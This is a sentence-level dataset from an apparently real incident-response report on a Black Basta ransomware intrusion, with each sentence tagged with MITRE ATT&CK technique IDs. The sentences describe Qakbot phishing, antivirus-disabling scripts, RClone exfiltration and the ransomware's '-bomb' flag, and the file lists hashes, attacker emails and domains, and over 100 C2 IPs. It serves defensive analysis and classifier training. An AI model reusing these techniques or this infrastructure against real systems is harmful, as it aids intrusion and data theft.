{"sentence": "We do not believe that this was successful in this environment, due in part to the lack of additional signs of compromise specific to this Domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, this technique was likely performed on the other two client domains where visibility gaps existed.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is further supported by the source and destination of these requests were cross domain: The source of the “Kerberoasting” was based in the Subsidiary environment and the Domain Controller that was attacked was in the Commerce environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "PROPAGATION Unknown to everyone but the attacker, multiple files were being transmitted throughout the environment: Two file names were observed during the incident \"Client_s.exe\" and \"Client.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is expected that the different naming schemes are related to the different variations of the Black Basta ransomware.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Two \".bat\" files were sent throughout the organization.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Both were designed to turn off antivirus and anti-malware software.", "labels": ["T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One does not use any obfuscation and just contains the simple command to stop Cisco AMP Orbital.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This could indicate that it was written hastily in order to get it onto the target environments quickly.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Tox5, which appeared to be a component of Cobalt Strike, as well as Cobalt Strike beacon with the name of \"Ticket-5731.xls.\" These files continued to replicate throughout the organization though the use of Server qMessage Block (SMB), eventually spreading to almost every endpoint and server in two of the three domains.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Most hosts in the Commerce environment HAD more restrictions placed on their operating system by default which likely contributed to the lack of success by the threat actors in the Commerce environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Suricata logs show that “RClone” was downloaded on the file servers in order to facilitate exfiltration of the logs.", "labels": ["T1105"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This legitimate program was abused by the attacker to steal client data.", "labels": ["T1005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "DETECTION AND RESPONSE The most critical asset of the Security Operations Center is the human SOC Analyst.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A human can look at the totality of a situation and make a judgement call that no AI or automated process can.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This FTP command is defined as \"...causes the directory specified in the pathname to be created on the server.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "If the specified directory is a relative directory, it is created in the client's current working directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\" Although many old signatures are decommissioned or otherwise suppressed, Quadrant leaves some rules in place as \"hunting\" rules.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These are more focused on the overall techniques or \"odd\" traffic that could be an indicator of compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, looking at the destination, which had not been previously observed in the environment, the file names (which were quite varied), and the volume of the files outbound, the analyst decided to call the client to err on the side of caution.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Had the analyst not conducted their due diligence or had this archaic signature been suppressed, it is highly likely that this compromise would not have been detected until after the encryption process had begun.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The current list of rules developed following this incident can be found in I The alert was submitted at 18:27 EDT on 9/21/2022.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client determined it to be out of the ordinary but was unaware of the extent of the compromise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, during the course of the evening, it became apparent that something was greatly amiss.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The following morning, the client’s CISO contacted the Quadrant team to report that there was indeed an active compromise within their environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client provided malware samples from the phishing emails and the analysis began.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Threat hunting was conducted within the logs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A dedicated “out of bands” communications channel was established between Quadrant and the clients.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "As more evidence was uncovered, the full threat began to be realized.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "One aspect of the actions taken by the Incident Response team was a live log review.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The term \"look for anything suspicious\" is often a nightmare of a request, because how does one truly define suspicious without a base line.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Windows Event logs and “clipboard” logs are collected using NXLog Enterprise.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While clipboard logs are not stored on the local host, they are sent to the Sagan Log Analysis Engine for further analysis and retention.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While examining this data, the I.R. team member became aware of the use of RDP by the Threat Actor by observing RDPClip.exe logging that looked, by definition, incredibly suspicious.", "labels": ["T1021.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Among the many “clipboard” logs observed, \"Client.exe -bomb,\" stood out.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although the full extent of the command was not realized at the time, due to the implied malice it was decided that now was the time to attempt to purge the threat actor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The Clients response team locked out the accounts that were known to be compromised.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, the threat actor had complete control over the environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This resulted in a catastrophic lockout of the client's staff and administrators.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was not completely unexpected.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Knowing that there was an ongoing data exfiltration attempt along with a full network compromise with a relatively short “dwell” time, plans had been put into place to restrict all access to the network in order to mitigate and prevent the threat actor from doing more damage.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The client's staff was simply waiting on the “order” to halt the network.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "After quick conference between Quadrant and the client, all parties agreed and the decision was made: At approximately 8:45pm on September 22, only 56 hours after the initial phishing email had been opened, the physical cables from between the domains as well as their connection to the Internet were pulled.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "With the assistance of a third-party incident response firm and constant ongoing contact with the Quadrant team, the client was able to slowly, systematically, and safely bring their servers on-line while purging any remains of the threat actor over the course of the next two weeks.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Through the later review of the logging and after-action analysis of the event, more detections rules have been created to better alert on what visibility does exist in this, and many other, client environments.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "TECHNICAL ANALYSIS INITIAL ACCESS: QAKBOT INFECTION", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The two phishing samples provided by the client show two different techniques: Email response as part of an Email Chain: \"Re: RE: Logistics\":", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing email came from a legitimate vendor \"stoneworkers\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The attacker submitted the email from \"info[@]stoneworkers[.]org\" while posing as \"jpeterman[@]stoneworkers[.]org\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The email had applicable context and the email chain contains back and forth to another member of the TPV as well.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The phishing email came with no pretext from a site not used by the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The attacker submitted the email from \"support[@]capitalizedadventures[.]com\" while posing as \"Jay Peterman\".", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "From the two phishing emails, both attachments contain similar malware.", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Only changes to the filenames and corresponding commands were observed between the two.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The subdirectories to the fathomed directory, elude, omicron, and shabbily, are all empty as confirmed by navigating to them and running \"ls -a\" and returning no files.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was verified through \"du -h\" which resulted in 4.0k size, which is consistent of an empty directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When opened in a Windows environment the following is displayed: The ISO mounts as a DVD Drive.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The \"Claim_Copy\" shows the icon for windows file explorer.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "In both cases the JavaScript files set several variables before running the \".cmd\" file contained within the ISO.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is likely done as a method to avoid detection from Log Analysis Engines, such as the Sagan Engine, as well as other monitoring services such as Microsoft's Defender or Sentinel.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Ultimately, this CMD file calls the \"db\" file.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "In both samples, the \"db\" file is not a database, but is the actual Qakbot trojan.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Something interesting to note: the \"campus.txt\" contains an excerpt from \"Through the Looking Glass\" by Lewis Carol.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This inclusion may be to add easily changeable padding to the ISO.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Doing so would allow the easy addition or subtraction of data in order to change the ISO’s hash value without changing any important content of the executables.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following detonation of Qakbot, the malware copied itself to \"$CURRENTUSER\\AppData\\Roaming\\Microsoft\\Isoaahffo\\djkuuhd.dll,\" as confirmed by the file's hashes shown below, and sets itself to auto run.", "labels": ["T1547.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following this, the malware begins to beacon out to hard coded C2 servers.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A breakdown of the observed IP’s and their ports can be found in the INDEX A below.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This contains over 100 IP’s for potential C2 servers.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the initial detonation of 5898, the process imbedded itself into wermgr.exe, the Windows Error Reporting Manager (Process ID 6660).", "labels": ["T1055"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Further analysis of the registry keys added by the sample were able to be decrypted by leveraging the decryption script found at the link \"https://github.com/drole/qakbot-registry-decrypt\".", "labels": ["T1053.005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These show the full path to the dropped file \"xjkuuhd.dll\" as well as the Qakbot campaign identifier: \"obama206.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "As with the case with other Qakbot investigations, multiple potential IP’s were observed during the testing.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "During the incident, the first warning sign of compromise came from the victims Cisco Advanced Malware Protection alerting.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Cisco AMP detected an attempt to contact \"76[.]169[.]76[.]44\"[Van Nuys, CA] over TCP port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A later review of the logs revealed that the first attempt to contact the C2 ip’s (\"61[.]70[.]29[.]53\"[Taiwan]).", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Due to TCP port 2222’s common use as an alternate port for SSH communication, the Malware Analyst recorded a manual SSH connection to the emulated C2 host in order to show the difference between an SSH connection and the connection made by the Malware sample.", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Evidence suggests that the sample does not communicate over SSH and the communication is consistent with HTTP/S traffic.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The malware analyst attempted to connect via SSH to the emulated C2 host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Note the first packet from the experimental machine to the emulated C2 device following the 3-way TCP handshake shows header information containing the OpenSSH client information.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This was produced manually as an example of an SSH connection while SSH was running on the emulated C2 host on port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "An overview of the lab setup and tools can be found in INDEX B. While continuing to run the SSH client on the emulated C2 device, the malware was detonated on the VM, we can see that the same packet following the 3-way handshake no longer contains SSH information but is detected as a Client Hello.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The emulated C2 Server is now running an HTTPS server on TCP port 2222.", "labels": ["T1071.001", "T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This PCAP above shows the conversation from the 3-way handshake to the resetting of the connection.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following observation of the malware samples, we now know that most of the connection attempts to the C2 IP’s are conducted over TCP port 443.", "labels": ["T1095"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the common use of this port, and the use of TLS in these connections, both attempts and the successful connections went undetected by Suricata and Cisco AMP.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Many of the connections over 443 resulted in minimal connections consistent with nothing more than TCP negations.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, IP’s \"119[.]42[.]124[.]18\"[Thailand] and \"193[.]3[.]19[.]37\"[Russia] showed multiple packets and data transferred, including the exchange of TLS certificates.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The size and length of connection indicates that the second stage was downloaded from \"193[.]3[.]19[.]37\"[Russia].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "POST-EXPLOITATION TECHNIQUES, TACTICS, AND PROCEDURES COMMAND AND CONTROL Initial Command and Control was initially conducted from \"23.19.58.43\"[zedorocop[.]com] and \"23.106.160.141\" [danimos[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A dynamic analysis of \"Tox5\" shows the malware drops itself in a randomly generated name folder under the \"ProgramData\" directory and adds itself to a scheduled task.", "labels": ["T1053.005"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This is observed below by comparing the file hashes for \"tox5.exe\" and \"C:\\ProgramData\\lplshr\\basinqt.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Following the resolution of gerhiles[.]com, and the activation of \"INetSim\" to simulate a website, the PCAP above shows connections were attempted over port 4001.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Leveraging \"netstat -a -n -o\" revealed the PID of the service connecting on port 4001.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Task manager was then use to reveal the service running on PID 3488, which was renamed instance of Tox5.", "labels": ["T1057"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Because of the beaconing activity, persistence, and apparent ability to wipe event logs, it is likely that tox5 is a component of Cobalt Strike or similar framework.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "LATERAL MOVEMENT: SMB AND RDP Brute Ratel allows for lateral movement leveraging RPC to create SMB traffic.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Logging shows actions taken by the attacker that were recorded by RDPClip in the form of clipboard logging, indicating the use of Remote Desktop Protocol.[CI1]", "labels": ["T1021.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[SD2] After the connection to the internet and shared domains were severed, automated processes continued to propagate malware.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Files commonly observed transferred via SMB include: Black Basta Ransomware \"Client_s.exe\" and \"Client.exe\" Cobalt Strike beacon with the name of \"Ticket-5731.xls\" \".bat\" files designed to disable Cisco AMP / Microsoft Defender Clipboard logging", "labels": ["T1059.003", "T1562.001", "T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This shows the decoded and uncompressed data.", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Additional Files and commands observed transferred detected via clipboard logging:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The following 31 commands were ran between Sep 22, 2022 @ 20:01:39.000 and Sep 22, 2022 @ 20:02:46.000.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The syntax indicates these are the commands used to reset the administrative passwords following the attempted lock out of the threat actor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "According to Google translate, the Russian phrases translate to \"bury along the way\" and \"launch with balloons\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A search of Active Directory for users whose passwords never expire, and the last set date while writing to a file for later exfiltration: Stopping Cisco AMP / Disabling Microsoft Defender, these are the same commands as observed in the \".bat\" files: Transfer and use of Ticket-5731.xls", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "(determined to be Cobalt Strike): Url to download \"cob_12.dll\" and \"tox5.exe\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although cob_12.dll was not collected for technical sample, tox5.exe was reviewed: Clipboard logging showing the “uninstall” commands for Windows Defender: Adding an Admin to ESXi environment: Domain Controller detection: Connection attempt to a \"SH/WEB\" domain:", "labels": ["T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Command showing the use of \"Bitsadmin\" to transfer the Black Basta Ransomware: Connection from Client by threat actor: DISABLING ANTIVIRUS/MALWARE SOFTWARE USING \".BAT\"", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "FILES", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The two \".bat\" files that were sent throughout the organization were both designed to turn off Antivirus and Antimalware software.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is interesting to note that “cc.bat” does not use any obfuscation and just contains the simple command to stop AMP Orbital.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This could indicate that it was written hastefully in order to get it onto the target environment.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\"cc.bat\" is a simple script designed to stop Cisco AMP.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "“W.bat”, on the other hand, has some simple but clever obfuscation in place.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When using \"vim” or another text editor, the .bat file appears to contain Chinese characters.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "However, performing \"cat\" or \"strings\" reveals the actual data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The strings of characters following \"set\" act as the key.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "When the script is executed, the system will swap out the numbers in the body for the place in the key string.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The link from Superuser[.]com in INDEX D goes into more specifics on how this is done.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "\"w.bat\" as viewed through a text editor.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "For this example, the text editor \"vim” was used to open the file: \"w.bat\" as viewed through the bash command \"cat\":", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "After copying and pasting the body of \"w.bat\" into its own text document \"w.txt\", the team was able to run a lengthy \"sed” command against the file to reveal the below: The sed statement used to decode the body of \"w.bat\":", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "EXFILTRATION THROUGH RECLONE Once the file server was identified, an FTP connection was established to an external site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This likely shows the connection containing the download of RCLONE.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "First connection on Subsidiary PIE to the external file dump: First connection on Construction PIE to the external file dump.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Although no sample was able to be provided for Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of \"Client_s.exe\" for Windows hosts.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "From a static malware analysis review, very little was initially able to be obtained from the sample aside from the \".basta\" suffix and a relation to \"Fax.\" Static analysis conducted inside of x32dbg, showing a relation to \"FAX\" and the potential use of the directory \"ProgramData\": Upon detonation, running the malware sets itself up as the service \"Fax\" and enables it to start during safe boot.", "labels": ["T1543.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The ransomware then proceeds to restart into safe mode using bcdedit.exe.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "While in safe mode, the encryption of files occurs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Once the encryption is complete, the system is then restarted into the standard operating mode.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The background has been replaced to show \"Your Network is Encrypted by the Black Basta group.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The writeups conducted by \"Northwave-Security\" and \"Deepinstinct\" share more light onto these flags.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "These show that \"bomb\" designates a full detonation of all reachable hosts, and \"forcepath\" is for a specific instance or directory.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "We are attempting to better understand the use of the \"-bomb\" flag and how it communicates with the other infected machines.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "It is likely that the reason the machine is restarted into safe mode with networking indicates that this communication may occur at this time.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A: INDICATORS OF COMPROMISE FILE NAMES AND HASH VALUES File Name SHA-256 Hash Claim_Copy_1796.iso 2cf56e6c050d0c9d8ada6cdb79a8ed2b8bbc25cd7d33ccc79aeedb31b5ad00df damagesMeaning.js 7a39324822941014609f0fd7d05f1adbbccc3f36d79103e2589251680f3b6c63 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 DecomposedLoners.cmd cd5b4bd824bad0be78e4cdf6d7fe8a950bd63f294713b8cb49de887d8a8410bc excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 sinkers.db c4875bd0683467c1e5d44f80b1d5abf6ac9b6f5bf5b6750a1e653416a68ed006 Claim_Copy_5898.iso 474b800fa4f8c2638607b012029cb134b58534e7817fbf3658c9c1d8c78204fa Claim_Copy.lnk e2eb9029fd993a9ab386beb7ca4fa21a1871dc0c7568eb802cac1ea3c53cad8b campus.txt 319704f093b71286985716d87c6fb20d6ddc334be6f1ccc042de8c73f7f5df36 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 clockwatcherMinty.js 14d53c3d675458863ee2b336a4203f680932181ff5db99bb2f1640ffd44947b5 excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 meddled.db 4f7d97bf4803bf1b15c5bec85af3dc8b7619fe5cfe019f760c9a25b1650f4b7c unspoolingPeak.cmd 4b3eb841b765c4aeb6b273e42a60e1f8ba3d3d94c613a27cd6446a354c2b7285 w.bat 4e54d7ed5055bc0e7858d49aaec17bd3ed69e8da94262c6a379ddd81abc31b5e cc.bat 90e9bd336e51c88002e5e9a109c5fb0e57d2c90cd54d4bc7480b69fa302beb73 tox5.exe d4dd79c97b091dd31791456c56d727eb0b30af9c0172dd221556d28495b8a50f Client.exe 5b8bf891808be44f24156cf5430730e610c0df6eaaa4b062623a7a675d234b62 Cleint_s.exe 17eccc7e2ce38dafd41d68861da636d7c05290b95d4fd75ec87b819094702cf6 Zfgufgfvezdnbcvjkzctpvfdj.dll 62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 HARDCODED IP'S OBSERVED FROM QAKBOT SAMPLES IP Port Observed Country AbuseIPDB Score 1.10.253.207 443 Thailand 0 2.89.78.130 993 Saudi Arabia 0 14.183.63.12 443 Viet Nam 0 27.73.215.46 32102 Viet Nam 0 31.166.116.171 443 Saudi Arabia 30 31.32.180.179 443 France 0 31.54.39.153 2078 United Kingdom 0 37.37.206.87 995 Kuwait 0 37.76.197.124 443 Palestine 0 41.103.226.172 443 Algeria 0 41.105.197.244 443 Algeria 0 41.107.78.223 995 Algeria 0 41.142.132.190 443 Morocco 0 41.69.103.179 995 Egypt 0 41.96.171.218 443 Algeria 0 45.160.124.211 995 Brazil 0 45.183.234.180 443 Brazil 0 45.241.140.181 995 Egypt 0 45.51.148.111 993 United States of America 0 46.116.229.16 443 Israel 0 46.186.216.41 32100 Kuwait 0 47.146.182.110 443 United States of America 0 61.105.45.244 443 Korea (Republic of) 0 61.70.29.53 443 Taiwan 0 62.114.193.186 995 Egypt 0 64.207.215.69 443 Afghanistan 0 66.181.164.43 443 Mongolia 0 68.129.232.158 443 United States of America 0 68.151.196.147 995 Canada 0 68.224.229.42 443 United States of America 0 68.50.190.55 443 United States of America 0 68.53.110.74 995 United States of America 0 70.49.33.200 2222 Canada 0 70.51.132.197 2222 Canada 0 70.81.121.237 2222 Canada 0 71.10.27.196 2222 United States of America 0 72.66.96.129 995 United States of America 0 72.88.245.71 443 United States of America 0 76.169.76.44 2222 United States of America 0 78.182.113.80 443 Turkey 0 81.214.220.237 443 Turkey 0 81.56.22.251 995 Italy 0 83.110.219.59 993 United Arab Emirates 0 84.238.253.171 443 Bulgaria 0 84.38.133.191 443 Netherlands 0 85.114.110.108 443 Palestine 0 85.139.203.42 32101 Portugal 0 85.98.206.165 995 Turkey 0 85.98.46.114 443 Turkey 0 87.220.229.164 2222 Spain 0 87.243.113.104 995 Bulgaria 0 87.75.195.211 443 United Kingdom 0 88.231.221.198 443 Turkey 0 88.231.221.198 995 Turkey 0 88.232.207.24 443 Turkey 0 88.242.228.16 53 Turkey 0 88.245.168.200 2222 Turkey 0 88.246.170.2 443 Turkey 0 88.251.38.53 443 Turkey 0 89.211.217.38 995 Qatar 0 89.211.223.138 2222 Qatar 0 91.116.160.252 443 Spain 0 94.99.110.157 995 Saudi Arabia 0", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "95.136.41.50 443 Portugal 0 98.180.234.228 443 United States of America 0 99.232.140.205 2222 Canada 0 99.253.251.74 443 Canada 0 100.1.5.250 995 United States of America 0 102.101.231.141 443 Morocco 0 102.184.151.194 995 Egypt 0 102.38.97.229 995 South Africa 0 102.40.236.32 995 Egypt 0 105.105.104.0 443 Algeria 0 105.111.60.60 995 Algeria 0 105.99.80.23 443 Algeria 0 109.155.5.164 993 United Kingdom 0 109.200.165.82 443 Yemen 0 110.4.255.247 443 Japan 0 113.22.102.155 443 Viet Nam 0 118.174.200.169 995 Thailand 0 118.216.99.232 443 Korea (Republic of) 0 118.68.220.199 443 Viet Nam 0 119.42.124.18 443 Thailand 0 119.82.111.158 443 India 0 123.240.131.1 443 Taiwan 1 134.35.9.144 443 Yemen 0 138.0.114.166 443 Brazil 0 139.195.132.210 2222 Indonesia 0 139.195.63.45 2222 Indonesia 0 141.164.254.35 443 Saudi Arabia 0 151.234.63.48 990 Iran (Islamic Republic of) 0 154.181.203.230 995 Egypt 0 154.238.151.197 995 Egypt 0 154.246.182.210 443 Algeria 0 156.213.107.29 995 Egypt 0 156.219.49.22 995 Egypt 0 160.152.135.188 2222 Nigeria 0 160.176.204.241 443 Morocco 0 167.60.82.242 995 Uruguay 0 169.1.47.111 443 South Africa 0 171.238.230.59 443 Viet Nam 0 171.248.157.128 995 Viet Nam 0 173.218.180.91 443 United States of America 0 176.42.245.2 995 Turkey 0 177.255.14.99 995 Colombia 0 179.108.32.195 443 Brazil 0 179.223.89.154 995 Brazil 0 179.24.245.193 995 Uruguay 0 180.180.131.95 443 Thailand 0 181.111.20.201 443 Argentina 0 181.118.183.123 443 Argentina 0 181.127.138.30 443 Paraguay 0 181.231.229.133 443 Argentina 0 